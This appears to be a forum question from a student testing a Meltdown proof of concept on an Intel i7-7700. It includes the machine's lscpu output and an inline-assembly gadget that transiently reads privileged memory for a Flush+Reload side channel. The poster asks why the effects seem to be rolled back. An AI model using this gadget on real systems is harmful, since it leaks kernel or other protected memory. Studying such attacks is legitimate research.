My architecture is:
(base) dell@dell-OptiPlex-7050:~/mtech_project/meltdown$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 158
Model name: Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz
Stepping: 9
CPU MHz: 4050.542
CPU max MHz: 4200.0000
CPU min MHz: 800.0000
BogoMIPS: 7200.00
Virtualization: VT-x
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 8192K
NUMA node0 CPU(s): 0-7
The code for MELTDOWN attack(as borrowed from the git) is:
asm volatile("1:\n" \
"movq (%%rsi), %%rsi\n" \
"movzx (%%rcx), %%rax\n" \
"shl $12, %%rax\n" \
"jz 1b\n" \
"movq (%%rbx,%%rax,1), %%rbx\n" \
: \
: "c"(phys), "b"(mem), "S"(0) \
: "rax");
The attack paper was published in 2018 while my computer has been assembled before 2018.
But empirically observed, the effects associated with register 'rax' are rolled back(i.e. all instructions are rolled back) once the exception occurs and hence, the last assembly instruction necessary for FLUSH-RELOAD attack becomes ineffective.
Should this be the observed behavior for my current architecture? Or I am doing something wrong?
